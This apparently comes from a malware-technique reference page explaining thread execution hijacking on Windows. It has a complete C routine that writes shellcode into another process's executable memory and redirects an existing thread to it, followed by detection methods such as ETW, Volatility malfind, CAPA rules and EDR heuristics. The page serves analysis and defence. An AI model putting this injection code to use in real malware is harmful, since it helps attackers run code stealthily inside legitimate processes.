Skip to content

Thread Execution Hijacking

Malware suspends an existing thread in a target process, overwrites its instruction pointer via SetThreadContext, and resumes it to redirect execution to injected shellcode.

Thread Execution Hijacking redirects an existing, legitimate thread's execution flow to attacker-controlled shellcode. Unlike process hollowing, no new process is created — the technique rides on a thread that already exists, blending into normal process activity and avoiding thread-creation telemetry.

Attack flow

  1. Find a thread in the target process via CreateToolhelp32Snapshot + Thread32First/Next.
  2. Suspend it with SuspendThread.
  3. Allocate and write shellcode into the target process with VirtualAllocEx + WriteProcessMemory.
  4. Retrieve the thread's current context with GetThreadContext (saving RIP/EIP for later restoration).
  5. Overwrite RIP (or EIP) with the shellcode address using SetThreadContext.
  6. Resume with ResumeThread; the thread immediately executes the shellcode.

How it works

c
#include <windows.h>
#include <tlhelp32.h>

BOOL HijackThread(DWORD dwTargetPid, BYTE *pShellcode, SIZE_T cbShellcode)
{
    HANDLE hProc = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwTargetPid);

    // Allocate RWX region and write shellcode
    LPVOID pRemote = VirtualAllocEx(hProc, NULL, cbShellcode,
                                    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hProc, pRemote, pShellcode, cbShellcode, NULL);

    // Find a thread in the target
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = { .dwSize = sizeof(te) };
    HANDLE hThread = NULL;
    if (Thread32First(hSnap, &te)) {
        do {
            if (te.th32OwnerProcessID == dwTargetPid) {
                hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT
                                     | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
                break;
            }
        } while (Thread32Next(hSnap, &te));
    }
    CloseHandle(hSnap);

    SuspendThread(hThread);

    CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };
    GetThreadContext(hThread, &ctx);
#ifdef _WIN64
    ctx.Rip = (DWORD64)pRemote;
#else
    ctx.Eip = (DWORD)pRemote;
#endif
    SetThreadContext(hThread, &ctx);

    ResumeThread(hThread);
    CloseHandle(hThread);
    CloseHandle(hProc);
    return TRUE;
}

A subtlety: suspending a thread mid-lock can deadlock the target process. More robust implementations save the original RIP value inside the shellcode so the shellcode can restore it and resume normal execution after completing its payload.

Detection & analysis

During analysis:

  • Process Monitor: watch for SuspendThread + SetThreadContext + ResumeThread on a thread belonging to a different process.
  • ETW Microsoft-Windows-Threat-Intelligence: logs cross-process context modifications.
  • Memory forensics (Volatility malfind): surfaces RWX pages in legitimate processes not backed by a file on disk.

Static / automated detection:

  • CAPA: pattern OpenThread → SuspendThread → WriteProcessMemory → SetThreadContext → ResumeThread in the same function.
  • MITRE ATT&CK T1055.003; Unprotect ID U1223.
  • EDR taint analysis: any call to SetThreadContext where the target thread belongs to a different process and RIP/EIP points into a freshly allocated anonymous region is high-confidence malicious.
Votes

Comments(0)